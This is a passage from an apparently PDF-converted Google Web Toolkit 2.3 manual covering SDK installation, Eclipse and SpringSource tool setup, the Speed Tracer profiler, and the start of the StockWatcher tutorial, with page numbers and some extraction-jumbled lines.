1. You will need the Java SDK version 1.5 or later. If necessary, download and install the Java SE Development Kit (JDK) for your platform. Mac users, see Apple's Java developer site to download and install the latest version of the Java Developer Kit available for Mac OS X. 2. Apache Ant is also necessary to run command line arguments. If you don't already have it, install Apache Ant. If you have problems running Ant on the Mac, try setting the $JDK_HOME environment variable with export JDK_HOME="/Library/Java/Home"

Download and Install the GWT SDK
Download and unzip the Google Web Toolkit SDK. This contains the core libraries, compiler, and development server that you need to write web applications. See FAQ for system and browser requirements. On Windows, extract the files from the compressed folder gwt-2.3.0.zip. On Mac or Linux, you can unpack the package with a command like:
unzip gwt-2.3.0.zip

The GWT SDK doesn't have an installer application. All the files you need to run and use the SDK are located in the extracted directory.

Create your first web application
GWT ships with a command line utility called webAppCreator that automatically generates all the files you'll need in order to start a GWT project. It also generates Eclipse project files and launch config files for easy debugging in GWT's development mode. You can create a new demo application in a new MyWebApp directory by running webAppCreator: • Windows
cd gwt-2.3.0 webAppCreator -out MyWebApp com.mycompany.mywebapp.MyWebApp

Mac or Linux - you may need to make the script executable:
cd gwt-2.3.0 chmod u+x webAppCreator ./webAppCreator -out MyWebApp com.mycompany.mywebapp.MyWebApp

The webAppCreator script will generate a number of files in MyWebApp/, including some basic "Hello, world" functionality in the class MyWebApp/src/com/mycompany/mywebapp/client/MyWebApp.java. The script also generates an Ant build script MyWebApp/build.xml.

Run locally in development mode
To run your newly created application in development mode:
cd MyWebApp/ ant devmode

This command starts GWT's development mode server, a local server used for development and debugging, as follows: 18 / 469

Launch the local server in a browser by either 1) clicking "Launch Default Browser" or 2) clicking "Copy to Clipboard" (to copy its URL), then pasting into Firefox, Internet Explorer, Chrome, or Safari. Since this is your first time hitting the development mode server, it will prompt you to install the Google Web Toolkit Developer Plugin. Follow the instructions in the browser to install the plugin, which may require restarting the browser. Once the Google Web Toolkit Developer Plugin is installed in your browser, navigate to the URL again and the starter application will load in development mode, as follows:.

Make a few changes
The source code for the starter application is in the MyWebApp/src/ subdirectory, where MyWebApp is the name you gave to the project above. You'll see two packages, com.mycompany.mywebapp.client and com.mycompany.mywebapp.server. Inside the client package is code that will eventually be compiled to JavaScript and run as client code in the browser. The java files in the server package will be run as Java bytecode on a server, in the case of this Quick Start on the App Engine servers. Look inside com/mycompany/mywebapp/client/MyWebApp.java. Line 41 constructs the "Send" button.
final Button sendButton = new Button("Send");

Change the text from "Send" to "Send to Server".
final Button sendButton = new Button("Send to Server");

Now, save the file and simply click "Refresh" in your browser to see your change. The button should now say "Send to Server" instead of "Send":

Compile and run in production mode
To run the application as JavaScript in what GWT calls "production mode", compile the application by executing:

19 / 469

ant build

The "build" Ant target invokes the GWT compiler which generates a number of JavaScript and HTML files from the MyWebApp Java source code in the MyWebApp/war/ subdirectory. To see the application, open the file MyWebApp/war/MyWebApp.html in your web browser. The application should look identical to the development mode above. Congratulations! You've created your first web application using Google Web Toolkit. Since you've compiled the project, you're now running pure JavaScript and HTML that works in IE, Chrome, Firefox, Safari, and Opera. You could now deploy your application to production by serving the HTML and JavaScript files in your MyWebApp/war/ directory from your web servers.

Set up an IDE
Now that you've created your first app, you probably want to do something a bit more interesting. But first, if you normally work with an IDE you'll want to set up Eclipse to use the Google Web Toolkit SDK: Set up Eclipse (2.2. fejezet) If you are going to stick with the command line, check out Speed Tracer (1.4. fejezet) and then head over to Build a Sample GWT App.

20 / 469

2.2.

Set up Eclipse

Google Web Toolkit provides a set of tools that can simply be used with a text editor, the command line, and a browser. However, you may also use GWT with your favorite IDE. Google provides a plugin for Eclipse that makes development with Google Web Toolkit even easier.

Download Eclipse
If you do not already have Eclipse, you may download it from the Eclipse Website. We suggest downloading Eclipse 3.6 (Helios). For Mac users, we recommend the Cocoa build.

Install the Plugin
Install the Google Plugin for Eclipse 3.6 by using the following update site: http://dl.google.com/eclipse/plugin/3.6 If you are using an earlier version of Eclipse, replace the 3.6 version number with your version (3.3, 3.4 or 3.5). For detailed instructions on installing plugins in Eclipse, see instructions for Eclipse 3.6, Eclipse 3.5, Eclipse 3.4, or Eclipse 3.3. In the Install dialog, you will see an option to install the Plugin as well as the GWT and App Engine SDKs. Choosing the SDK options will install a GWT and/or App Engine SDK within your Eclipse plugin directory as a convinience.

Create a Web Application
To create a Web Application, select File > New > Web Application Project from the Eclipse menu. In the New Web Application Project wizard, enter a name for your project and a java package name, e.g., com.mycompany.mywebapp. If you installed the Google App Engine SDK, the wizard gives you the option to use App Engine as well. For now, uncheck this option and click Finish.

21 / 469

Congratulations, you now have a Google Web Toolkit enabled web application. The plugin has created a boilerplate project in your workspace.

Run locally in Development Mode
Right-click on your web application project and select Debug As > Web Application from the popup menu. This creates a Web Application launch configuration for you and launches it. The web application launch configuration will start a local web server and GWT development mode server. You will find a Web Application view next to the console window. Inside you will find the URL for the development mode server. Paste this URL into Firefox, Internet Explorer, Chrome, or Safari. If this is your first time using that browser with the development mode server, it will prompt you to install the Google Web Toolkit Developer Plugin. Follow the instructions in the browser to install.

Once the browser plugin is installed, navigate to the URL again and the starter application will load in development mode.

22 / 469

Make a Few Changes
The source code for the starter application is in the MyWebApp/src/ subdirectory, where MyWebApp is the name you gave to the project. You'll see two packages, com.mycompany.mywebapp.client and com.mycompany.mywebapp.server. Inside the client package is code that will eventually be compiled to JavaScript and run as client code in the browser. The java files in the server package will be run as Java bytecode on a server.

Look inside the MyWebApp.java file in the client package. Line 40 constructs the send button.
final Button sendButton = new Button("Send");

Change the text from "Send" to "Send to Server".
final Button sendButton = new Button("Send to Server");

Now, save the file and simply click "Refresh" back in your browser to see your change. The button should now say "Send to Server" instead of "Send". At this point, you can also set breakpoints, inspect variables and modify code as you would normally expect from a Java Eclipse debugging session.

Compile and run in Production Mode
To run the application as JavaScript in what GWT calls "production mode", compile the application by right-clicking the

project and choosing Google > GWT Compile. This command invokes the GWT compiler which generates a number of JavaScript and HTML files from the MyWebApp

23 / 469

Java source code in the MyWebApp/war/ subdirectory. MyWebApp/war/MyWebApp.html in your web browser.

To

see

the

final

application,

open

the

file

Congratulations! You've created your first web application using Google Web Toolkit. Since you've compiled the project, you're now running pure JavaScript and HTML that works in IE, Chrome, Firefox, Safari, and Opera. You could now deploy your application to production by serving the HTML and JavaScript files in your MyWebApp/war/ directory from your web servers.

Deploy to App Engine
Using the plugin, you can also easily deploy GWT projects to Google App Engine. If you installed the App Engine for Java SDK when you installed the plugin, you can now right-click on the project and App Engine "enable" it by choosing Google > App Engine Settings. Check the box marked Use Google App Engine. This will add the necessary configuration files to your project. To deploy your project to App Engine, you first need to create an application ID from the App Engine Administration Console. Once you have an application ID, right-click on your project, and select Google > App Engine Settings... from the context menu. Enter your application ID into the Application ID text box. Click OK. Right-click on your project and select Google > Deploy to App Engine. In the resulting Deploy Project to Google App Engine dialog, enter your Google Account email and password. Click Deploy. Congratulations! You now have a new web application built with Google Web Toolkit live on the web at http://applicationid.appspot.com/.

24 / 469

2.3.

Speed Tracer (2.1)

Speed Tracer is a Google Chrome extension that helps you identify and fix performance problems in your web applications. It visualizes metrics that are taken from low level instrumentation points inside of the browser and analyzes them as your application runs. Using Speed Tracer you are able to get a better picture of where time is being spent in your application.

Downloading Chrome and Installing Speed Tracer
Speed Tracer requires the Dev Channel version of Google Chrome. 1. Download and install the Google Chrome Developer Channel version of Google Chrome. This version is instrumented to work with Speed Tracer. 2. Start Google Chrome with a flag that enables Speed Tracer to work, as described next. The process is different for Windows and Macintosh. - Windows Start Google Chrome with the following flag, either from the command line or by modifying your desktop shortcut for Google Chrome:
--enable-extension-timeline-api

To modify your desktop shortcut for Google Chrome, right-click on the Google Chrome shortcut icon and choose Properties:

Then, paste the --enable-extension-timeline-api flag into the Target field at the very end of the string (with a space separating it from chrome.exe).

25 / 469

Click OK to save the setting and dismiss the dialog. To start Google Chrome, double-click on the shortcut icon you just modified. - Mac OS X On Mac OS X, you need a bootstrap application to set the appropriate flag in Google Chrome. First download the Speed Tracer bootstrap application, then Quit Google Chrome and restart it by running the "ChromeWithSpeedTracer" application that you just downloaded. Please ensure that you are running the Dev Channel version of Google Chrome from step 1. Alternatively, you can start Chrome from the command line (or an alias) with this flag:
$ /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --enable-extensiontimeline-api &

3. Install Speed Tracer - Now Google Chrome is ready for you to add Speed Tracer extension. Click on this install button: By installing this extension, you agree to the Google Chrome Extension Gallery Terms of Service.

Note: If you run into trouble, first check the FAQ, then try the Speed Tracer Google Group.

26 / 469

Quick Tour of Speed Tracer
Here's a quick tour of the user interface. 1. With Chrome started as in the previous section, browse to a page you wish to profile.

2. Click the stopwatch icon to the right of the browser's web address field to open the Speed Tracer Monitor window and begin recording events. You should see data being populated in the Monitor window. To focus on the subset of data you want to analyze, click and drag the handles on the thin Overview graph, or click and drag a selection box over the main graph at the top. Only events in the zoomed region (highlighted below) appear in the list below the timeline.

3. If you want to analyze page loading, press the Refresh button on the monitored.

browser window of the page being Monitor window. To zero

4. You can pause the recording of events by pressing the Record Button in the out the timeline and start fresh, you can press the Reset button .

27 / 469

5. Click on a row in the table below the graphs to get details on a particular event.

6. Click the Network (resources) graph to see details on network events.

28 / 469

7. Click on a row in the event table to get details for each event.

Read on for more details of the Speed Tracer interface.

29 / 469

Speed Tracer Monitor

This section describes the components of the Speed Tracer Monitor window.

Toolbar
Record Records the incoming data stream, updating the monitor. Click to toggle between record and stop. Reset Resets the data store in the Monitor window, removing the previously recorded data. Save Writes the profiling data out to a text file. See Data Dump Format for information on the format of this file. Time display Shows the total amount of data captured, plus the current range of data being displayed in the timeline graphs. Zoom (in/out/all) Adjusts the amount of data shown on the timeline graphs. The first two buttons let you zoom in and zoom out. The third button zooms out all the way. Zoom can also be adjusted by clicking and dragging on the graphs.

30 / 469

Page transition option menu Contains one menu item for each page transition. Use this menu to navigate between previous pages in the browsing session. Hint Report Displays a report showing all hints reported since the last page transition. Help Brings up a page of useful information about how to use Speed Tracer.

Timeline Graphs
General Navigation: Click on a graph to switch focus between Sluggishness and Network views in the detail table. Click and drag on the graph to zoom in on a portion of the timeline. Watch the following video to see how to zoom in and out on the data using the graphs. Sluggishness Graph Displays an indication of how responsive the user interface is at the specified time. Tall peaks in the graph indicate the browser is blocked for a significant amount of time.

Network Visualization Graph Displays an indication of how much network activity occured at the specified time. The graph displays the number of network connections concurrently in progress over time.

Hint Indicators These vertical green, orange and red lines on the graph hint where Speed Tracer has flagged a potential performance problem. Green Orange Red Current Event Callout When mclass="indent"oving the mouse over the Sluggishness detail view, it gives an indication of the position and duration of the event under the mouse. info (lowest priority hint) warning critical (highest priority hint)

31 / 469

Overview Graph
Displays both the Sluggishness and Network graphs for the entire range of data captured since the last page transition.

General Navigation: Click and drag one of the handles to expand or narrow the range of data currently being viewed. Click and drag the area between the handles to move the focus of the timeline graphs.

Sluggishness Detail View
A list of events is shown that corresponds to the region that is selected in the timeline. Move or resize the timeline selection to modify which events are displayed.

General Navigation Use the scrollbar to view all events in the selected region of the overview graph. Click on a row in the table to view details of the event. • Hint column The first column can hold a colored icon that indicates a problem was flagged for the event. The color indicates the most severe problem encountered, and the number indicates the number of problems of the highest severity. Started column The time the event started relative to the start of the recording session in seconds. Duration column The length of the event in milliseconds. Type column Indicates the type of event that first triggered. The different types of events and their meaning are described in the Data Dump Format description. Note that child events might actually consume more time than the parent event indicated in this column. Filter Icon Clicking on the Filter icon will show the Filter panel.

• • •

32 / 469

Filter Panel You can set filter criteria to determine which events are suppressed in the Sluggishness Detail view. By default, events 3 milliseconds or less are suppressed, unless that event contains a log message or a hint.

Breakdown by Time Indicates the top three types of events that consume the most wall clock time during the execution of this event. This is not always the same as the parent event type. Sluggishness Event Detail (when expanded) Click on a row in the table to display the event detail. This reveals four new sections: Breakdown by Time (in the blue area), hints, Event Trace, and Details table.

➢ ➢

General Navigation: Selecting an item in the Event Trace tree will update the Details table on the right. Breakdown by Time Chart Displays a full breakdown of how time was spent processing the top level event. The chart aggregates all events by type and displays a pie slice in proportion to the amount of time spent processing each type of event. Hint tree Displays all hint records encountered when analyzing this event. Event Trace tree Displays a hierarchical view of all events that fired during the duration of the top level event. To the left, a waterfall view of the amount of time each child event contributed is displayed. Selecting an event in the tree will display details of the child event in the Details table. Details table Provides further details for an event selected in the Event Trace.

➢ ➢

33 / 469

Network Detail View

General Navigation Selecting an row in the Detail View will expand the row to view the details of that event. Resource Type icon (first column) Displays an icon that gives an indication of what type of resource (image, stylesheet, script, document, ...) the network event represents.

Network Resource Name column (second column) Gives the short name and an abbreviated URL of the resource. Hovering over the URL or expanding the row will show the full URL.

Network "Pillbox" (third column) A graphic indication of when the resource was requested, when the transfer response began and when the request finished.

Network Resource Details Clicking on a horizontal bar reveals these network resource details, including a summary, request headers and response headers.

34 / 469

Hint Report
Displays all hints for the current page. Clicking on one of "All", "Rule", or "Severity changes the format of the report. Clicking on one of the column headers in the report changes the sort order. See Speed Tracer Hints.

35 / 469

2.4.

SpringSource Tools (2.1)

One of the main features of GWT 2.1 is the integration with SpringSource developer tools. This collaborative effort is focused on making it easy to develop rich web apps for business, bringing together GWT, Spring Roo, and SpringSource Tool Suite (STS). GWT 2.1 introduces a new set of cell widgets that were carefully designed to navigate large data sets efficiently, as well as an app framework that makes it simple to connect the new widgets to data from the cloud. This app framework also includes: • Data bound views - With GWT 2.1's Data Editors, developers can create views that are generated from their app's data model. These views are completely customizable, and handle all of the nasty work of syncing change sets between the client and server. Highly optimized communication layer - The new communication layer, RequestFactory, aims to improve both developer and application effiency. It minimizes the payloads being sent between client and server in order to make RPCs as fast as possible, while adding new code generators that build this communication layer based on your app's data model and the backend services it exposes. For many apps, the developer simply needs to provide server-side find and persist methods in order to get things rolling. MVP support - For a while now, GWT developers have been using and advocating the MVP design pattern, and the Activities and Place support within GWT 2.1, are a set of components that formalize this pattern and the associated best practices, enabling efficient app navigation, history management, and view creation.

With Roo 1.1, you can create a functioning app from scratch in minutes with a few simple commands, and with all of the GWT tools — the Google Plugin for Eclipse, Speed Tracer, and the GWT and App Engine SDKs — directly available in STS, you have everything you need in a single development environment.

Download and Install
To get started you'll need the GWT 2.1 SDK and Roo 1.1. This will allow you to use Roo's code generation utilities to create an MVP-based GWT web app that harnesses the full capabilities of GWT 2.1. While you can install these two tools piecemeal, the easiest way to install is to download The STS bundled installer. Piecemeal installers • • • • – or – Download and install GWT 2.1+ SDK Download and install Roo 1.1 Download and install Maven Download and install STS from the link on the right side

Bundled installer • Download and install SpringSource Tool Suite bundled installer and dashboard mechanism, which includes STS, Roo, tc Server and Maven. For Mac users, we recommend the Cocoa build. At the last step of this installation, launch it by checking the "Launch SpringSource Tool Suite" checkbox and clicking "Finish". STS launches as follows:

Now that STS is installed, you have access to Roo. To install the Google developer tools, navigate to the 36 / 469

dashboard page. To install the GWT tools (including the SDK), you simply navigate to the Extensions tab at the bottom of the page. Once you've clicked on the Extensions tab (as in the screenshot below), you should see an option to install the Google Plugin for Eclipse (GPE). Select it and then click "Install". The next page also lets you install Google App Engine and Google Web Tookit SDK — install them (unless using Maven, which will already have installed them).

Once installed, you have all of the tools you need.

Build a sample app using Roo
Now let's start building an app. The first step is to start up Roo's command line environment. You'll step out of STS to do this, but don't worry in a few steps you'll see how Roo interacts with STS once you've created your app. To launch Roo, open up a terminal window and navigate to the directory where you installed the SpringSource tools (let's say ~/springsource). Here you'll see a directory for Roo. Move into that directory, and then create an "expenses" directory to hold the sample app:
$ cd ~/springsource/roo-1.1.0.RELEASE/ $ mkdir expenses $ cd expenses

You can then launch Roo:
C:> ../bin/roo.bat # Windows

or
$ ../bin/roo.sh # Mac or Linux

In either case you should see the following Roo prompt:

Roo offers a whole list of commands for building and maintaining apps (type "help" to see them). With the latest release there is a sample script, expenses.roo, that makes it easy to build a GWT-based web app. To run this, simply enter at the roo command line:
roo> script ../samples/expenses.roo

This command creates a sample Expense Tracking app (extrack) with all of the necessary source (src/) and configuration files (pom.xml) in the current directory "expenses". As with all Roo projects, you'll use Maven to manage dependencies next. First quit Roo.

37 / 469

roo> quit Roo exited with code 0

Run app in Maven
Use Maven to manage dependencies. You can run Maven from the command line. To see this in action, first run Maven:
$ mvn gwt:run

Maven takes a few minutes to start up GWT's development server:

Launch the app in your browser by clicking "Copy to Clipboard" and pasting that URL into your browser — in this case http://127.0.0.1:8888/ApplicationScaffold.html?gwt.codesvr=127.0.0.1:9997.

38 / 469

Run app in SpringSource ToolSuite
Now that you've created the sample app and launched it from the command line, you can import it into STS to start customizing it. To do this switch back to STS and click the menu item "File" -> "Import", and then select "Maven" -> "Existing Maven Projects", click "Next" and browse to the "expenses" directory containing pom.xml (from step 2), in our example ~/springsource/expenses, then click "Open".

This will import your project and all of its dependencies into STS, as well as applying the correct GWT and App Engine settings. The resulting project structure will look like the following.

39 / 469

Once imported you can now run your app directly from STS by right-clicking on the project and selecting the "Run As" -> "Web Application".

Flip back to your browser from step 3 and reload the application. With the app running, you can see the benefits of having these tools integrated. Let's say you want to start customizing the application by adding a "Mobile Number" field to the Employee data object. Typically this would require an update to the model, view, presenter/controller, and RPC layer. With GWT, Roo, and STS this becomes a simple change to the model, that is then propagated throughout your application by Roo, even when you're running in STS. To make a simple change to the application, first make sure your app is still running in the browser, then: a. Go to STS b. Choose "Window" -> "Show View" -> "Roo Shell" to watch the logged changes in the next step c. Open the Employee.java file in extrack/src/main/java, and add a mobileNumber field of type String. As soon as you save the file, in the Roo Shell you'll see Roo pick up the changes and update the related components in your app.

40 / 469

Now flip back to your browser. After reloading the app, you'll see the changes you just made. Roo picked up the change to your data model, propagated the changes throughout, and the Google Plugin for Eclipse compiled the resulting Java source into Javascript that is being run in the browser, and all you had to do was make a one line change. Tools handle all of the boilerplate code, letting you focus on bigger features and functionality.

41 / 469

3.
3.1. Tutorial Overview

Tutorials

These tutorials are intended for developers who wish to write rich AJAX applications using Google Web Toolkit. You might be a Java developer who would like to be able to apply the software engineering principles of object-oriented programming and leverage the tools in your Java IDE when writing applications for the web. Or you might be a JavaScript guru curious about GWT's ability to generate highly optimized JavaScript with permutations for multiple browsers. Although a knowledge of HTML, CSS, and Java is assumed, it is not required to run these tutorials.

Before You Begin
Before you begin these tutorials, we assume that you've done the following: • Installed the Java SDK. If you don't have a recent version of the Java SDK installed, download and install Sun Java Standard Edition SDK. Installed Eclipse or your favorite Java IDE. In these tutorials, we use Eclipse because it is open source. However, GWT does not tie you to Eclipse. You can use IntelliJ, NetBeans or any Java IDE you prefer. If you use a Java IDE other than Eclipse, the screenshots and some of the specific instructions in the tutorial will be different, but the basic GWT concepts will be the same. If your Java IDE does not include Apache Ant support, you can download and unzip Ant to easily compile and run GWT applications. Installed the Google Plugin for Eclipse. The Google Plugin for Eclipse adds functionality to Eclipse for creating and developing GWT applications. Downloaded Google Web Toolkit. Google Web Toolkit can be downloaded with the Google Plugin for Eclipse. Alternatively, download the most recent distribution of Google Web Toolkit for your operating system. Unzipped the GWT distribution in directory you want to run it in. GWT does not have an installation program. All the files you need to run and use GWT are located in the extracted directory.

• •

You may also optionally do the following: • Install the Google App Engine SDK. Google App Engine allows you to run Java web applications, including GWT applications, on Google's infrastructure. The App Engine SDK can be downloaded with the Google Plugin for Eclipse. Alternatively, download the App Engine SDK for Java separately. Create and run your first web application - A few, simple steps to familiarize you with the command line commands.

42 / 469

3.2.

Build a Sample GWT Application

Introduction
In this tutorial, you'll write this simple AJAX application, StockWatcher. Go ahead and try StockWatcher out. Add a few stock codes and see how it works. In the process of building StockWatcher, you'll learn how GWT provides the tools for you to: • • • • Write browser applications in Java using the Java IDE of your choice Debug Java in GWT development mode Cross-compile your Java code into highly optimized JavaScript Maintain one code base (Java) for multiple browser implementations (JavaScript)

AJAX application development process using GWT
This Build a Sample GWT Application tutorial is divided into 8 sections following a typical application development cycle. Each section builds on the previous sections. In this basic implementation of StockWatcher, all functionality is coded on the client-side. Server-side coding and client/server communications are covered in other tutorials. Tasks What you'll do Concepts What you'll learn Generate the files and directories you need to get started. Identify requirements, constraints, implementation strategies. and GWT Tools and APIs What you'll use Google Plugin for Eclipse GWT command-line tool webAppCreator Development Mode Language constraints GWT widgets and panels, the Root panel ClickHandler and KeyPressHandler interfaces

1. Create a GWT Project

2. Design the Application 3. Build the User Interface 4. Manage Events on the Client

Lay out the visual design and add user interface components. Handling mouse and keyboard events. Maintain one code base for multiple browser implementations. Leveraging your Java IDE's features such as refactoring and code completion. Debug the Java code before compiling it into JavaScript. Leverage your Java IDE's debugging tools by running the application in development mode.

5. Code Functionality on the Client

various GWT methods

6. Debug a GWT Application

Development Mode

7. Apply Style

Apply visual style to the application. Define the visual style in CSS. Set the class attributes on HTML elements programmatically. Change styles dynamically. Include static elements, such as image files.

GWT module GWT themes application style sheet GWT methods: addStyleName, addStyleDependentName, setStyleName automatic resource inclusion GWT compiler

8. Compile a GWT Application

Compile your client-side Java code into JavaScript. Test in production mode. Learn about the benefits of deferred binding.

43 / 469

3.2.1.

Step 1: Create a GWT Project

At this point, you've downloaded the most recent distribution of Google Web Toolkit. In this section, you'll create the StockWatcher project using either the Google Plugin for Eclipse or the GWT commandline utility webAppCreator. These utilities do the work of generating the project subdirectories and files you need to get started. To test that your project is configured correctly, you'll run the GWT starter application in development mode. Then you'll examine the project files that were created.

3.2.1.1.

Creating a GWT application

Creating the StockWatcher application (using Eclipse)
One of the benefits of using GWT is that you can leverage the tools, such as refactoring, code completion, and debugging, available in a Java IDE. In this tutorial, we use Eclipse because it is widely available and free. However, feel free to use your favorite IDE. The Google Plugin for Eclipse contains a wizard for creating GWT applications. Here are steps for creating a starter application. 1. In the toolbar, click the New Web Application Project button . 2. Fill out the project details: 1. Enter the project name "StockWatcher". 2. Enter the package "com.google.gwt.sample.stockwatcher". 3. Make sure Use Google Web Toolkit is checked and that Use default SDK (GWT) is selected. 4. (Optional) If you are using Google App Engine, make sure Use Google App Engine is checked and that Use default SDK (App Engine) is selected. 5. If you did not install the SDKs when you installed the Google Plugin for Eclipse, you should click Configure SDKs... to specify the directory where GWT (and the App Engine SDK if necessary) was unzipped. 3. Click the Finish button.

Creating the StockWatcher application (without using Eclipse)
webAppCreator is a command-line tool included in the GWT download that generates the project subdirectories and files you need to get started. It creates a starter application, which you can run to ensure that all the components have been created and are hooked together correctly. As you develop your application, you'll replace the code for the starter application with your code. For the StockWatcher project, you will run webAppCreator with the following parameters. Parameter -out Definition The directory to place the generated files. The fully-qualified path name to junit.jar on your system. You can download JUnit at their sourceforge project page, or you can use the version that ships with Eclipse. Example StockWatcher (PC) C:\eclipse\plugins\org.junit_3.8.2.v200706111738\juni t.jar (Mac) /Users/myname/eclipse/plugins/org.junit_3.8.2.v2007 06111738/junit.jar com.google.gwt.sample.stockwatcher.StockWatcher

-junit

moduleName

The name of the GWT module you want to create.

44 / 469

1. Create the StockWatcher application. At the command line, run webAppCreator. Enter the command below on a single line. (The example is shown on multiple lines only to improve readability.) Replace the junit.jar path name (highlighted in the example below) with the fully-qualified path name of junit.jar on your system.
WebAppCreator -out StockWatcher -junit "C:\eclipse\plugins\org.junit_3.8.2.v200706111738\junit.jar" com.google.gwt.sample.stockwatcher.StockWatcher

Note: The -junit argument is optional. If you do not have junit installed on your system or do not wish to use junit in your application, you can leave it out.

Tip: If you include the GWT command-line tools in your PATH environment variable, you won't have to invoke them by specifying their full path. 2. GWT webAppCreator generates the project subdirectories and files you need to get started.
Created directory StockWatcher/src Created directory StockWatcher/war Created directory StockWatcher/war/WEB-INF Created directory StockWatcher/war/WEB-INF/lib Created directory StockWatcher/src/com/google/gwt/sample/stockwatcher Created directory StockWatcher/src/com/google/gwt/sample/stockwatcher/client Created directory StockWatcher/src/com/google/gwt/sample/stockwatcher/server Created directory StockWatcher/test/com/google/gwt/sample/stockwatcher/client Created file StockWatcher/src/com/google/gwt/sample/stockwatcher/StockWatcher.gwt.xml Created file StockWatcher/war/StockWatcher.html Created file StockWatcher/war/StockWatcher.css Created file StockWatcher/war/WEB-INF/web.xml Created file StockWatcher/src/com/google/gwt/sample/stockwatcher/client/StockWatcher.java Created file StockWatcher/src/com/google/gwt/sample/stockwatcher/client/GreetingService.java Created file StockWatcher/src/com/google/gwt/sample/stockwatcher/client/GreetingServiceAsync.java Created file StockWatcher/src/com/google/gwt/sample/stockwatcher/server/GreetingServiceImpl.java Created file StockWatcher/build.xml Created file StockWatcher/README.txt Created file StockWatcher/test/com/google/gwt/sample/stockwatcher/client/StockWatcherTest.java Created file StockWatcher/.project Created file StockWatcher/.classpath Created file StockWatcher/StockWatcher.launch Created file StockWatcher/StockWatcherTest-dev.launch Created file StockWatcher/StockWatcherTest-prod.launch Created file StockWatcher/war/WEB-INF/lib/gwt-servlet.jar

Directories Created
• • • • • /src/com/google/gwt/sample/stockwatcher Contains the GWT module definition and initial application files. /test/com/google/gwt/sample/stockwatcher Contains JUnit test directory and a starter test class. /war Contains static resources that can be served publicly, such as image files, style sheets, and HTML host pages. /war/WEB-INF Contains Java web application files. /war/WEB-INF/lib Contains Java web application libraries.

Starting with GWT 1.6, static files have been moved to /war.

45 / 469

Files Created
• • • • • • • • StockWatcher.gwt.xml GWT module definition StockWatcher.html host page StockWatcher.css application style sheet web.xml Java web application descriptor StockWatcher.java GWT entry point class GreetingService.java, GreetingServiceAsync.java, GreetingServiceImpl.java GWT sample RPC classes gwt-servlet.jar GWT server runtime library StockWatcherTest.java Starter test case for StockWatcher

Scripts Created
• build.xml Ant build file for running the application in development mode or for invoking the GWT compiler from the command line.

Eclipse Files Created
• • • • .project .classpath StockWatcher.launch StockWatcherTest-dev.launch

• StockWatcherTest-prod.launch To see the complete list of options for webAppCreator, see Command-line Tools, webAppCreator. For more information on project structure, see the Developer's Guide, Directory/Package Conventions.

3.2.1.2.

Testing the default project components

To check that all the project components were created, run the starter application in development mode. In development mode, you can interact with the application in a browser just as you would when it's eventually deployed.

Running the development mode code server (from Eclipse)
1. In the Package Explorer view, select the StockWatcher project. 2. In the toolbar, click the Run button (Run as Web Application). 3. When the development mode tab opens, right-click on the URL to copy it. 4. Paste the URL into your browser of choice.

46 / 469

Running the development mode code server (not from Eclipse)
webAppCreator creates an ant build file with a target for running the application in development mode. 1. From the command line, change to the StockWatcher directory 2. Execute:
ant devmode

Tip: If you include the Ant command-line tools in your PATH environment variable, you won't have to invoke them by specifying their full path. Development mode opens with two tabs: the development mode code server and the Jetty HTTP server. Press the "Launch Default Browser" button to launch StockWatcher in development mode using your default browser. Or, you can click "Copy to Clipboard" to copy the launch URL and paste it into the browser of your choice.

47 / 469

Connecting to the development mode code server (with and without Eclipse)
Once you have started the development mode (from Eclipse or using the build.xml script) and entered the URL into the browser, the browser will attempt to connect. If this is your first time running a GWT application in development mode, you may be prompted to install the Google Web Toolkit Developer Plugin. Follow the instructions on the page to install the plugin, then restart the browser and return to the same URL.

Starter Application
When you create a new web application with GWT, by default it creates a simple, starter application as shown below. This application helps you test that all the components are installed and configured before you start development. When you start writing the StockWatcher application, you'll replace this starter application code with your own.

48 / 469

3.2.1.3.

Examining the project components

Let's examine some of the generated files and see how they fit together to form your GWT project.

The module XML file
Open the module XML file, StockWatcher/src/com/google/gwt/sample/stockwatcher/StockWatcher.gwt.xml. It contains the definition of the GWT module, the collection of resources that comprise a GWT application or a shared package. By default, StockWatcher inherits the core GWT functionality required for every project. Optionally, you can specify other GWT modules to inherit from.
<?xml version="1.0" encoding="UTF-8"?> <module rename-to='stockwatcher'> <!-- Inherit the core Web Toolkit stuff. <inherits name='com.google.gwt.user.User'/> <!-- Inherit the default GWT style sheet. You can change <!-- the theme of your GWT application by uncommenting <!-- any one of the following lines. <inherits name='com.google.gwt.user.theme.standard.Standard'/> <!-- <inherits name="com.google.gwt.user.theme.chrome.Chrome"/> <!-- <inherits name="com.google.gwt.user.theme.dark.Dark"/> <!-- Other module inherits

--> --> --> --> --> --> -->

<!-- Specify the app entry point class. --> <entry-point class='com.google.gwt.sample.stockwatcher.client.StockWatcher'/> <!-- Specify the paths for translatable code <source path='client'/> </module> -->

In the module XML file, you specify your application's entry point class. In order to compile, a GWT module must specify an entry point. If a GWT module has no entry point, then it can only be inherited by other modules. It is possible to include other modules that have entry points specified in their module XML files. If so, then your module would have multiple entry points. Each entry point is executed in sequence. By default, StockWatcher uses two style sheets: the default GWT style sheet, standard.css (which is referenced via the inherited theme), and the application style sheet, StockWatcher.css which was generated by webAppCreator. Later in this tutorial, you'll learn how to override the default GWT styles.

The Host Page
Open the host page, StockWatcher/war/StockWatcher.html. The code for a web application executes within an HTML document. In GWT, we call this the host page. For example, the host page for the StockWatcher project is StockWatcher.html. The host page references the application style sheet, StockWatcher.css. The host page references the path of JavaScript source code (generated by GWT) responsible for the dynamic elements on the page. The contents of the entire body element can be generated dynamically, for example, as it is with starter application. However, when you implement the StockWatcher application, you will use a mix of static and dynamic elements. You'll create an HTML <div> element to use as placeholder for the dynamically generated portions of the page.

Selecting Quirks Mode vs. Standards Mode
To provide better cross-browser compatibility, GWT sets the doctype declaration to HTML 4.01 Transitional. This, in turn, sets the browser's rendering engine to "Quirks Mode". If you instead want to render the application in "Standards Mode", there are a number of other doctypes you can use to force the browser to this render mode. In general, GWT applications will work in "Standards Mode" just as well as "Quirks Mode", but in some cases using widgets like panels and such may not render correctly. This problem has been greatly improved since GWT 1.5, and more work is being done to solve this problem once and for all.

49 / 469

Preserving Browser History
GWT provides a mechanism for helping your application meet users' expectations of a web page, specifically in their ability to use the browser's back button in such situations as a multi-page wizard or a shopping cart/checkout scenario. The host page contains the iframe tag necessary for incorporating history support in your GWT application. To learn more about managing browser history in a GWT application, see the Developer's Guide, History.

The Application Style Sheet
